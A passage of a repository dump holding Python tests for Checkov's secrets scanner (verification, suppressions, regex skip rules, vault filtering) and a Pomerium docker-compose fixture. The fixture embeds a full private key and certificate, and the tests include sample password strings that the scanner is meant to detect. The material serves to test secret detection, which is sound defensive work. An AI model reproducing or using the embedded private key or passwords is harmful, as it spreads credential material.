test_verify_secrets_insufficient_params_tenant_config_missing_false_flag() -> None:\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    bc_integration.customer_run_config_response = {'tenantConfig': {'mock': True}}\n    bc_integration.skip_download = False\n\n    from checkov.secrets.runner import Runner\n    from checkov.common.output.report import Report\n    result = Runner().verify_secrets(Report(check_type=CheckType.SECRETS), \"\")\n\n    assert result == VerifySecretsResult.INSUFFICIENT_PARAMS\n\n@mock.patch.dict(os.environ, {\"CKV_VALIDATE_SECRETS\": \"true\"})\ndef test_verify_secrets_insufficient_params_tenant_config_missing_true_flag() -> None:\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    bc_integration.customer_run_config_response = {'tenantConfig': {'mock': True}}\n    bc_integration.skip_download = False\n\n    from checkov.secrets.runner import Runner\n    from checkov.common.output.report import Report\n    result = Runner().verify_secrets(Report(check_type=CheckType.SECRETS), \"\")\n\n    assert result != VerifySecretsResult.INSUFFICIENT_PARAMS\n\n@responses.activate\n@mock.patch.dict(os.environ, {\"CKV_VALIDATE_SECRETS\": \"true\"})\n@pytest.mark.parametrize(\n    \"status_code\",\n    [\n        (500,),\n        (400,),\n    ]\n)\ndef test_verify_secrets_failure(mock_bc_integration, status_code: int) -> None:\n    responses.add(\n        method=responses.POST,\n        url=f\"{mock_bc_integration.api_url}/api/v1/secrets/reportVerification\",\n        json={},\n        status=status_code\n    )\n\n    from checkov.secrets.runner import Runner\n    from checkov.common.output.report import Report\n    result = Runner().verify_secrets(Report(check_type=CheckType.SECRETS), \"\")\n\n    assert result == VerifySecretsResult.FAILURE\n\n\n@responses.activate\n@mock.patch.dict(os.environ, {\"CKV_VALIDATE_SECRETS\": \"true\"})\ndef test_verify_secrets(mock_bc_integration, secrets_report) -> None:\n    violation_id_to_verify_status = {\"VIOLATION_1\": \"Privileged\",\n                                     \"VIOLATION_2\": \"Valid\",\n                                     \"VIOLATION_3\": \"Invalid\",\n                                     \"VIOLATION_4\": \"Unknown\"}\n    verified_report = [\n            {\n                \"violationId\": \"VIOLATION_1\",\n                \"resourceId\": \"mock:RESOURCE_1\",\n                \"status\": \"Privileged\"\n            },\n            {\n                \"violationId\": \"VIOLATION_2\",\n                \"resourceId\": \"mock:RESOURCE_2\",\n                \"status\": \"Valid\"\n            },\n            {\n                \"violationId\": \"VIOLATION_3\",\n                \"resourceId\": \"mock:RESOURCE_3\",\n                \"status\": \"Invalid\"\n            },\n            {\n                \"violationId\": \"VIOLATION_4\",\n                \"resourceId\": \"mock:RESOURCE_4\",\n                \"status\": \"Unknown\"\n            }\n        ]\n\n    responses.add(\n        method=responses.POST,\n        url=f\"{mock_bc_integration.api_url}/api/v1/secrets/reportVerification\",\n        json={'verificationReportSignedUrl': 'mock'},\n        status=200\n    )\n\n    from checkov.secrets.runner import Runner\n    runner = Runner()\n    runner.get_json_verification_report = lambda x: verified_report\n    result = runner.verify_secrets(secrets_report, \"path/to/enriched/secrets\")\n\n    assert result == VerifySecretsResult.SUCCESS\n    for check in secrets_report.failed_checks:\n        if hasattr(check, \"validation_status\"):\n            assert check.validation_status == violation_id_to_verify_status[check.bc_check_id]\n        else:\n            raise Exception(\"Secrets record should have a validation status attribute\")\n\n    for check in secrets_report.passed_checks:\n        if hasattr(check, \"validation_status\"):\n            assert check.validation_status == 'mock'\n\n\n@responses.activate\n@mock.patch.dict(os.environ, {\"CKV_VALIDATE_SECRETS\": \"true\"})\ndef test_runner_verify_secrets(mock_bc_integration, mock_metadata_integration):\n    current_dir = os.path.dirname(os.path.realpath(__file__))\n    valid_dir_path = current_dir + \"/resources/cfn\"\n\n    rel_resource_path = '/secret.yml'\n    resource_id = '25910f981e85ca04baf359199dd0bd4a3ae738b6'\n    verified_report = [\n        {\n            \"violationId\": \"BC_GIT_2\",\n            \"resourceId\": f\"{rel_resource_path}:{resource_id}\",\n            \"status\": \"Valid\"\n        }\n    ]\n\n    responses.add(\n        method=responses.POST,\n        url=f\"{mock_bc_integration.api_url}/api/v1/secrets/reportVerification\",\n        json={'verificationReportSignedUrl': 'mock'},\n        status=200\n    )\n\n    from checkov.secrets.runner import Runner\n    runner = Runner()\n    mock_bc_integration.persist_enriched_secrets = lambda x: 'mock'\n    mock_bc_integration.bc_api_key = 'mock'\n    runner.get_json_verification_report = lambda x: verified_report\n\n    from checkov.runner_filter import RunnerFilter\n    report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                        runner_filter=RunnerFilter(framework=['secrets']))\n\n    for check in report.failed_checks:\n        if check.file_path == rel_resource_path and check.resource == resource_id:\n            assert check.validation_status == 'Valid'\n        else:\n            assert check.validation_status == 'Unavailable'\n"
  },
  {
    "path": "tests/secrets/test_secrets_verification_suppressions.py",
    "content": "import os\nfrom unittest import mock\n\nimport responses\nfrom checkov.common.models.enums import CheckResult\n\n\n@responses.activate\n@mock.patch.dict(os.environ, {\"CKV_VALIDATE_SECRETS\": \"true\"})\ndef test_runner_verify_secrets_skip_invalid_suppressed(mock_bc_integration, mock_metadata_integration):\n    current_dir = os.path.dirname(os.path.realpath(__file__))\n    valid_dir_path = current_dir + \"/resources/cfn\"\n\n    rel_resource_path = '/secret.yml'\n    resource_id = '3472e46be802575792c8ddc3fcea5399a73078f1'\n    verified_report = [\n        {\n            \"violationId\": \"BC_GIT_2\",\n            \"resourceId\": f\"{rel_resource_path}:{resource_id}\",\n            \"status\": \"Invalid\"\n        }\n    ]\n\n    responses.add(\n        method=responses.POST,\n        url=f\"{mock_bc_integration.api_url}/api/v1/secrets/reportVerification\",\n        json={'verificationReportSignedUrl': 'mock'},\n        status=200\n    )\n\n    from checkov.runner_filter import RunnerFilter\n    from checkov.secrets.runner import Runner\n    runner = Runner()\n    mock_bc_integration.persist_enriched_secrets = lambda x: 'mock'\n    mock_bc_integration.bc_api_key = 'mock'\n    runner.get_json_verification_report = lambda x: verified_report\n\n    report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                        runner_filter=RunnerFilter(framework=['secrets'], skip_checks=['Invalid']))\n\n    assert len(report.skipped_checks) == 1\n    assert report.skipped_checks[0].file_path == rel_resource_path\n    assert report.skipped_checks[0].resource == resource_id\n    assert report.skipped_checks[0].validation_status == 'Invalid'\n    assert len(report.failed_checks) == 1\n    assert report.failed_checks[0].validation_status != 'Invalid'\n\n\n@responses.activate\n@mock.patch.dict(os.environ, {\"CKV_VALIDATE_SECRETS\": \"true\"})\ndef test_runner_verify_secrets_skip_all_no_effect(mock_bc_integration, mock_metadata_integration):\n    current_dir = os.path.dirname(os.path.realpath(__file__))\n    valid_dir_path = current_dir + \"/resources/cfn\"\n\n    rel_resource_path = '/secret.yml'\n    resource_id = '3472e46be802575792c8ddc3fcea5399a73078f1'\n    second_resource_id = 'a8a2f5d0efa444d71973792b14df2e05c00458c4'\n    verified_report = [\n        {\n            \"violationId\": \"BC_GIT_2\",\n            \"resourceId\": f\"{rel_resource_path}:{resource_id}\",\n            \"status\": \"Invalid\"\n        },\n        {\n            \"violationId\": \"BC_GIT_6\",\n            \"resourceId\": f\"{rel_resource_path}:{second_resource_id}\",\n            \"status\": \"Unknown\"\n        }\n    ]\n\n    responses.add(\n        method=responses.POST,\n        url=f\"{mock_bc_integration.api_url}/api/v1/secrets/reportVerification\",\n        json={'verificationReportSignedUrl': 'mock'},\n        status=200\n    )\n\n    from checkov.runner_filter import RunnerFilter\n    from checkov.secrets.runner import Runner\n    runner = Runner()\n    mock_bc_integration.persist_enriched_secrets = lambda x: 'mock'\n    mock_bc_integration.bc_api_key = 'mock'\n\n    runner.get_json_verification_report = lambda x: verified_report\n\n    report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                        runner_filter=RunnerFilter(framework=['secrets'], skip_checks=['Invalid', 'Unknown', 'Valid']))\n\n    assert len(report.skipped_checks) == 1\n    assert report.skipped_checks[0].file_path == rel_resource_path\n    assert report.skipped_checks[0].resource == resource_id\n    assert report.skipped_checks[0].validation_status == 'Invalid'\n\n    assert len(report.failed_checks) == 1\n    assert report.failed_checks[0].file_path == rel_resource_path\n    assert report.failed_checks[0].resource == second_resource_id\n    assert report.failed_checks[0].validation_status == 'Unknown'\n\n\ndef test_modify_invalid_secrets_check_result_to_skipped(secrets_report_invalid_status) -> None:\n    from checkov.secrets.runner import Runner\n    Runner()._modify_invalid_secrets_check_result_to_skipped(secrets_report_invalid_status)\n\n    assert len(secrets_report_invalid_status.failed_checks) == 0\n    assert len(secrets_report_invalid_status.skipped_checks) == 4\n    assert len(secrets_report_invalid_status.passed_checks) == 1\n\n    assert all(check.check_result[\"result\"] == CheckResult.SKIPPED\n               for check in secrets_report_invalid_status.skipped_checks)\n    assert all(check.check_result[\"suppress_comment\"] == \"Skipped invalid secret\"\n               for check in secrets_report_invalid_status.skipped_checks)\n\n\n"
  },
  {
    "path": "tests/secrets/test_skip_check_in_json.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.secrets.runner import Runner\n\n\nclass TestCustomRegexDetector(unittest.TestCase):\n\n    def test_no_skip(self) -> None:\n        \"\"\"\n        Pass regex pattern which is not apply on any file from test_files_dir\n        \"\"\"\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"skip_test/skip_test1/skip_test2\")\n\n        report = runner.run(\n            root_folder=test_files_dir,\n            runner_filter=RunnerFilter(skip_checks=[\"CKV_SECRET_6:.*3.json$\"]))\n\n        summary = report.get_summary()\n        self.assertEqual(summary['passed'], 0)\n        self.assertEqual(summary['failed'], 10)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n    def test_skip_on_one1(self) -> None:\n        \"\"\"\n        Pass regex pattern which is apply on one file - first check\n        \"\"\"\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = os.path.join(current_dir, \"skip_test/skip_test1/skip_test2\")\n        report = runner.run(\n            root_folder=test_files_dir,\n            runner_filter=RunnerFilter(skip_checks=[\"CKV_SECRET_6:.*1.json$\"]))\n\n        summary = report.get_summary()\n        self.assertEqual(summary['passed'], 0)\n        self.assertEqual(summary['failed'], 5)\n        self.assertEqual(summary['skipped'], 5)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n    def test_skip_on_one2(self) -> None:\n        \"\"\"\n        Pass regex pattern which is apply on one file - second check\n        \"\"\"\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = os.path.join(current_dir, \"skip_test/skip_test1/skip_test2\")\n        report = runner.run(\n            root_folder=test_files_dir,\n            runner_filter=RunnerFilter(skip_checks=[\"CKV_SECRET_6:.*2.json$\"]))\n\n        summary = report.get_summary()\n        self.assertEqual(summary['passed'], 0)\n        self.assertEqual(summary['failed'], 5)\n        self.assertEqual(summary['skipped'], 5)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n    def test_skip_both(self) -> None:\n        \"\"\"\n        Pass regex pattern apply all files in root folder\n        \"\"\"\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = os.path.join(current_dir, \"skip_test/skip_test1/skip_test2\")\n        report = runner.run(\n            root_folder=test_files_dir,\n            runner_filter=RunnerFilter(skip_checks=[\"CKV_SECRET_6:.*json$\"]))\n\n        summary = report.get_summary()\n        self.assertEqual(summary['passed'], 0)\n        self.assertEqual(summary['failed'], 0)\n        self.assertEqual(summary['skipped'], 10)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n    def test_skip_directory_pattern(self) -> None:\n        \"\"\"\n        Pass regex pattern which is only apply on one directory pattern\n        \"\"\"\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = os.path.join(current_dir, \"skip_test/skip_test1\")\n        report = runner.run(\n            root_folder=test_files_dir,\n            runner_filter=RunnerFilter(skip_checks=[\"CKV_SECRET_6:.*skip_test2.*json$\"]))\n\n        summary = report.get_summary()\n        self.assertEqual(summary['passed'], 0)\n        self.assertEqual(summary['failed'], 10)\n        self.assertEqual(summary['skipped'], 10)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n    def test_skip_file_pattern(self) -> None:\n        \"\"\"\n        Pass regex pattern which is only apply on certain file pattern\n        \"\"\"\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = os.path.join(current_dir, \"skip_test/skip_test1\")\n        report = runner.run(\n            root_folder=test_files_dir,\n            runner_filter=RunnerFilter(skip_checks=[\"CKV_SECRET_6:.*skip1.json$\"]))\n\n        summary = report.get_summary()\n        self.assertEqual(summary['passed'], 0)\n        self.assertEqual(summary['failed'], 10)\n        self.assertEqual(summary['skipped'], 10)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n    def test_invalid_regex(self) -> None:\n        \"\"\"\n        Pass invalid regex pattern\n        \"\"\"\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = os.path.join(current_dir, \"skip_test/skip_test1\")\n        report = runner.run(\n            root_folder=test_files_dir,\n            runner_filter=RunnerFilter(skip_checks=[\"CKV_SECRET_6:[a-z]++$\"]))\n\n        summary = report.get_summary()\n        self.assertEqual(summary['passed'], 0)\n        self.assertEqual(summary['failed'], 20)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n    def test_one_good_one_invalid_regex(self) -> None:\n        \"\"\"\n        Pass both good & invalid regex pattern\n        \"\"\"\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = os.path.join(current_dir, \"skip_test/skip_test1\")\n        report = runner.run(\n            root_folder=test_files_dir,\n            runner_filter=RunnerFilter(skip_checks=[\"CKV_SECRET_6:[a-z]++$\", \"CKV_SECRET_6:.*skip1.json$\"]))\n\n        summary = report.get_summary()\n        self.assertEqual(summary['passed'], 0)\n        self.assertEqual(summary['failed'], 10)\n        self.assertEqual(summary['skipped'], 10)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n    def test_two_files_regex_patterns(self) -> None:\n        \"\"\"\n        Pass two different regex patterns (file patterns)\n        \"\"\"\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = os.path.join(current_dir, \"skip_test/skip_test1\")\n        report = runner.run(\n            root_folder=test_files_dir,\n            runner_filter=RunnerFilter(skip_checks=[\"CKV_SECRET_6:.*skip2.json$\", \"CKV_SECRET_6:.*skip1.json$\"]))\n\n        summary = report.get_summary()\n        self.assertEqual(summary['passed'], 0)\n        self.assertEqual(summary['failed'], 0)\n        self.assertEqual(summary['skipped'], 20)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n    def test_two_dir_regex_patterns(self) -> None:\n        \"\"\"\n        Pass two different regex patterns (directory related)\n        \"\"\"\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = os.path.join(current_dir, \"skip_test\")\n        report = runner.run(\n            root_folder=test_files_dir,\n            runner_filter=RunnerFilter(skip_checks=[\"CKV_SECRET_6:.*skip1.*.json$\", \"CKV_SECRET_6:.*skip2.*.json$\"]))\n\n        summary = report.get_summary()\n        self.assertEqual(summary['passed'], 0)\n        self.assertEqual(summary['failed'], 0)\n        self.assertEqual(summary['skipped'], 30)\n        self.assertEqual(summary['parsing_errors'], 0)\n"
  },
  {
    "path": "tests/secrets/test_utils.py",
    "content": "from checkov.secrets.utils import filter_excluded_paths\n\n\ndef test_filter_excluded_paths():\n    # given\n    root_dir = \"path/to\"\n    names = [\"test\", \"node_modules\", \".github\", \".projen\", \".git\", \"coverage\", \".idea\", \"src\"]\n\n    # when\n    filter_excluded_paths(root_dir=root_dir, names=names, excluded_paths=[])\n\n    # then\n    assert names.sort() == [\"test\", \".github\", \".projen\", \"coverage\", \"src\"].sort()\n\n\ndef test_filter_excluded_paths_with_extra_paths():\n    # given\n    root_dir = \"path/to\"\n    names = [\"test\", \"node_modules\", \".github\", \".projen\", \".git\", \"coverage\", \".idea\", \"src\"]\n    excluded_paths = [\".projen'\"]\n\n    # when\n    filter_excluded_paths(root_dir=root_dir, names=names, excluded_paths=excluded_paths)\n\n    # then\n    assert names.sort() == [\"test\", \".github\", \"coverage\", \"src\"].sort()\n"
  },
  {
    "path": "tests/secrets/test_vault_secrets.py",
    "content": "from checkov.secrets.runner import should_filter_vault_secret\n\nHIGH_ENTROPY_CHECK_ID = 'CKV_SECRET_80'\n\ndef test_vault_secrets_false_positives():\n    fp_secrets = [\n        'DB_RBMQ_PASSWORD: vault: secret/data/product-web/mcrp-qwr-v2/mabbot#PASSWORD',\n        'WEB_PASSWORD: vault: secret/data/product/fwrp-qe-v3/parme3#PASSWORD',\n        'PASS: vault: secret/sr/dt/pro/fwrtq1#2/weg#PASSWORD'\n    ]\n    for fp_secret in fp_secrets:\n        assert should_filter_vault_secret(fp_secret, HIGH_ENTROPY_CHECK_ID)\n\ndef test_secrets_without_vault():\n    real_secrets = [\n        'ldap_pwd = k%udk423u4%P8=H_',\n        'password = J6T4ww+##14m',\n        'PS = 1r4#Gf2FDF$343r3m2me3r%'\n    ]\n    for real_secret in real_secrets:\n        assert not should_filter_vault_secret(real_secret, HIGH_ENTROPY_CHECK_ID)"
  },
  {
    "path": "tests/secrets/utils_for_test.py",
    "content": "from typing import List\n\nfrom checkov.common.output.record import Record\n\n\ndef _filter_reports_for_incident_ids(failed_checks: List[Record], policy_names: List[str]) \\\n        -> List[Record]:\n    return [failed_check for failed_check in failed_checks if failed_check.check_id in policy_names]\n"
  },
  {
    "path": "tests/secrets/yml_multiline/pomerium_compose.yml",
    "content": "# https://github.com/pomerium/pomerium/blob/main/integration/clusters/single/compose.yml\n\nnetworks:\n  main: {}\nservices:\n  fortio:\n    command:\n    - server\n    - -cert\n    - /fortio_config/trusted.pem\n    - -key\n    - /fortio_config/trusted-key.pem\n    depends_on:\n      fortio-init:\n        condition: service_completed_successfully\n    image: fortio/fortio:1.17.0\n    networks:\n      main:\n        aliases:\n        - fortio\n    ports:\n    - 8079:8079/tcp\n    volumes:\n    - fortio_config:/fortio_config\n  fortio-init:\n    command:\n    - sh\n    - -c\n    - |\n      echo \"$$CERT\" >/fortio_config/trusted.pem\n      echo \"$$KEY\" >/fortio_config/trusted-key.pem\n    environment:\n      CERT: |\n        -----BEGIN CERTIFICATE-----\n        MIIEUjCCArqgAwIBAgIRAKNaEqCmmZfhmcYgZy01WCswDQYJKoZIhvcNAQELBQAw\n        gYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\n        ZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\n        dCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTAx\n        NzMyMTBaFw0yMzExMTAxODMyMTBaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\n        bWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\n        KENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8\n        HLBAIzXkPeegldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPD\n        yVhDT0QlI/O/EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+Vv\n        Wyl+FoPDV/vsZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9t\n        jObsaQgJ5LLxCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEq\n        bZUDG+ZioArPmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd\n        9r6rOBxpxwnTDvHkBn6vAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\n        DDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAi\n        BgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF\n        AAOCAYEAufQAF79s7c1gmZ9CIKBSGkHh+SH01CuKYnnHiMowHsTioFaUAQsd/P4X\n        c2XBqc34eT3mCvpgZjHbjz6JlnTYJxuLvVqnVB3emtWrb1cQvh8BphxspTlS8uiE\n        AEf/ngtpzfA/f4lpGkzrQ0cyPkEJGz511q97itzn9RZZzVTZxNVFSP2vVhNNQVsW\n        OxakcvYRgnz8AOQS3OPHj2FQc3iibshct5leIwYZFcxINGHR6KL6+/LSePNCEMmK\n        qymVPkQGsIcU6GQ9fxaSu4mp+IUALProizEVI8SVk5nOm3HIez+ZfXhzfnGx06SI\n        6NuoQQPqUBeZeXn2YFYhipeRdrQxvA36/YXa/AkXCeU0pXxbtXKcvatfri5KnYJD\n        kH59a+aFkTsl41tfI2cnRYVddqXVl3OzLbcgAFLn1WeC1xx3xRXi7KldokOlvgv+\n        B6naWfCxRlWZ/lsmHae4kc1WH4Kc7nK+ITb40EkjV68/A7krZsN1VcqNtpomYkgE\n        xjUE8XUu\n        -----END CERTIFICATE-----\n      KEY: |\n        -----BEGIN PRIVATE KEY-----\n        MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8HLBAIzXkPeeg\n        ldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPDyVhDT0QlI/O/\n        EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+VvWyl+FoPDV/vs\n        Z31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9tjObsaQgJ5LLx\n        CYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEqbZUDG+ZioArP\n        mqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd9r6rOBxpxwnT\n        DvHkBn6vAgMBAAECggEAB28i0AYUNSb1JnWFbKzruUctu3tCNXovJg6K3BiPVMkq\n        DT1XrJIgF5RHHOlr3OsLE6u7Xz2ctdML6PshiKTtIwtGpivgRpCiJEslmr2zi8AW\n        8eJeqRLZEfsSSJOXTG7RdGsn4qHFJ00s2ZTlcIHSPwnFm+XjJi99U8G4XsUoXo0r\n        Gy+0VCuU7M8gICEHHsrQO9XDD3nT2jiu5TjrKwjut3EmoJssI5bqx33+OBu5BpCP\n        CT473D43P9p3qi/XnfvqGSG2Oj4OajV4fr0o9B3KvIxkMem7WlI3jyy1kApyXqVT\n        bLkLFyWBNTWUZ2R/2wxmuoC6mLZw879MLCKMvk1doQKBgQDhmwGafJNymTiEQZRI\n        SsQx4seqfOKfgFC7ohqH9cROOu8IJ1o7q2pM2W4XiV+S3wTdPGmca6IOjX23isVB\n        2uqNi9S4MnI2/d22Gd/BR9rvBw1eGJoKbrWx22fE8QCEWT1AnO+DuD0jC85yRls7\n        axzlaMrxEu3LI9UE7NtrdQiByQKBgQDVdI6ceIVBT6RgvVGt8zkLjPIFjhQEHAIp\n        uhirgqpS6CX9Blyf2+o40zmfj3he5rCcEoB5MseM+DgFbcVh2e/MVnYiNNw6JCDB\n        BQkF408pZpSeKXvL/oyV/kImMTJ/tUDY0EXxMwSPJB0WltbWreVIHopigXRCbaey\n        uBHVBv/4twKBgHwHuePy5SU1s2qSmzD7Wc2LPfYu3nCOHNRrFGb26MuRfuReri7r\n        2G8TgoESFycp0QTIN8+1JM0XYKxNcJD6B8V1wKbbpQsymneI1gjutiB/Igw/PkDK\n        CL4VP4F4da5NWW1yWgNygLoJvZ/5qiKKisJc0GWk4HKz6mLgzOjQ2LJxAoGBALHZ\n        fN2YeYbyYcaM11p1VilulVTVjY3i/FZiDR4SL/IGJWjN/Szg4iXYsKFmu+dulOZl\n        cBALpEKrqpmzXYtrN6bsv18+5eO3qGbK2DrEq3eWVev2KoTMobxz7g++XBIWJmLA\n        Hhaa6IiPkYD5yyVyHKDbeXgb3o9eqCR7w7fYLjy/AoGAI4D+MFkivwUF7hqf5edS\n        KrltwmodHiqXNbVkwbW1AFPJbiYai4YFfK4IAbif/Ymxf9G78aOkr9ZpCIzOkDPZ\n        YpEwQGWsAhElCFvc8E/5dHESSp+tWtP+NluimpFqiDg3/SUnMwO2xH0nhLa0zejh\n        gmLh4w/CcPyb9ZyXceWU/nU=\n        -----END PRIVATE KEY-----\n    image: busybox:latest\n    networks:\n      main:\n        aliases:\n        - fortio-init\n    volumes:\n    - fortio_config:/fortio_config\n  fortio-ready:\n    command:\n    - -wait\n    - http://fortio:8080\n    - -timeout\n    - 10m\n    image: jwilder/dockerize:0.6.1\n    networks:\n      main:\n        aliases:\n        - fortio-ready\n  mock-idp:\n    command:\n    - --provider\n    - oidc\n    - --port\n    - \"8024\"\n    - --root-url\n    - https://mock-idp.localhost.pomerium.io/\n    image: pomerium/mock-idps:${MOCK_IDPS_TAG:-master}\n    networks:\n      main:\n        aliases:\n        - mock-idp\n    ports:\n    - 8024:8024/tcp\n  mock-idp-ready:\n    command:\n    - -wait\n    - http://mock-idp:8024/.well-known/openid-configuration\n    - -timeout\n    - 10m\n    image: jwilder/dockerize:0.6.1\n    networks:\n      main:\n        aliases:\n        - mock-idp-ready\n  pomerium:\n    depends_on:\n      fortio-ready:\n        condition: service_completed_successfully\n      mock-idp-ready:\n        condition: service_completed_successfully\n      postgres-ready:\n        condition: service_completed_successfully\n      trusted-1-httpdetails-ready:\n        condition: service_completed_successfully\n      trusted-2-httpdetails-ready:\n        condition: service_completed_successfully\n      trusted-3-httpdetails-ready:\n        condition: service_completed_successfully\n      trusted-httpdetails-ready:\n        condition: service_completed_successfully\n      untrusted-httpdetails-ready:\n        condition: service_completed_successfully\n      verify-ready:\n        condition: service_completed_successfully\n      websocket-echo-ready:\n        condition: service_completed_successfully\n      wrongly-named-httpdetails-ready:\n        condition: service_completed_successfully\n    environment:\n      AUTHENTICATE_SERVICE_URL: https://authenticate.localhost.pomerium.io\n      CERTIFICATE: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUVVakNDQXJxZ0F3SUJBZ0lSQUtOYUVxQ21tWmZobWNZZ1p5MDFXQ3N3RFFZSktvWklodmNOQVFFTEJRQXcKZ1lNeEhqQWNCZ05WQkFvVEZXMXJZMlZ5ZENCa1pYWmxiRzl3YldWdWRDQkRRVEVzTUNvR0ExVUVDd3dqWTJGcwpaV0pBWTJGc1pXSXRjR010YkdsdWRYZ2dLRU5oYkdWaUlFUnZlSE5sZVNreE16QXhCZ05WQkFNTUttMXJZMlZ5CmRDQmpZV3hsWWtCallXeGxZaTF3WXkxc2FXNTFlQ0FvUTJGc1pXSWdSRzk0YzJWNUtUQWVGdzB5TVRBNE1UQXgKTnpNeU1UQmFGdzB5TXpFeE1UQXhPRE15TVRCYU1GY3hKekFsQmdOVkJBb1RIbTFyWTJWeWRDQmtaWFpsYkc5dwpiV1Z1ZENCalpYSjBhV1pwWTJGMFpURXNNQ29HQTFVRUN3d2pZMkZzWldKQVkyRnNaV0l0Y0dNdGJHbHVkWGdnCktFTmhiR1ZpSUVSdmVITmxlU2t3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQzgKSExCQUl6WGtQZWVnbGRVZlJLSzJqUXhTVlpENWcrcXNqQXpwbXJxL0F0bXdlSzFjR2NPdFo2ZU9MK3A4YnJQRAp5VmhEVDBRbEkvTy9FS2dDT0ZGeFVEcW9SODJpWTA2U2FjQWpIbmk2K1BPOXRWUmJGVjB3MTRCREFKU3BCK1Z2Cld5bCtGb1BEVi92c1ozMUZ0WXcrRXdxa2JEeC9rYVQ5dXpmK0xKZGxrZjE0blFRajhFa3kvOGQzbVdKYmIvOXQKak9ic2FRZ0o1TEx4Q1lkSW1rcjc3WDJMTXVEdy8xdHBINjQyR0UyNU5yZ202UUhseUtTZllYbzM4djgzZWJFcQpiWlVERytaaW9BclBtcW1rYXdVV3czZWtoajgwU0pnL1RLOVBSYU4vVnZjSTFQZ0FkN0xaenRVUmVTbVR5NWhkCjlyNnJPQnhweHduVER2SGtCbjZ2QWdNQkFBR2piREJxTUE0R0ExVWREd0VCL3dRRUF3SUZvREFUQmdOVkhTVUUKRERBS0JnZ3JCZ0VGQlFjREFUQWZCZ05WSFNNRUdEQVdnQlNGaGxoWWdFZktUcGxWT2VuZVZHMyszSUUvVFRBaQpCZ05WSFJFRUd6QVpnaGNxTG14dlkyRnNhRzl6ZEM1d2IyMWxjbWwxYlM1cGJ6QU5CZ2txaGtpRzl3MEJBUXNGCkFBT0NBWUVBdWZRQUY3OXM3YzFnbVo5Q0lLQlNHa0hoK1NIMDFDdUtZbm5IaU1vd0hzVGlvRmFVQVFzZC9QNFgKYzJYQnFjMzRlVDNtQ3ZwZ1pqSGJqejZKbG5UWUp4dUx2VnFuVkIzZW10V3JiMWNRdmg4QnBoeHNwVGxTOHVpRQpBRWYvbmd0cHpmQS9mNGxwR2t6clEwY3lQa0VKR3o1MTFxOTdpdHpuOVJaWnpWVFp4TlZGU1AydlZoTk5RVnNXCk94YWtjdllSZ256OEFPUVMzT1BIajJGUWMzaWlic2hjdDVsZUl3WVpGY3hJTkdIUjZLTDYrL0xTZVBOQ0VNbUsKcXltVlBrUUdzSWNVNkdROWZ4YVN1NG1w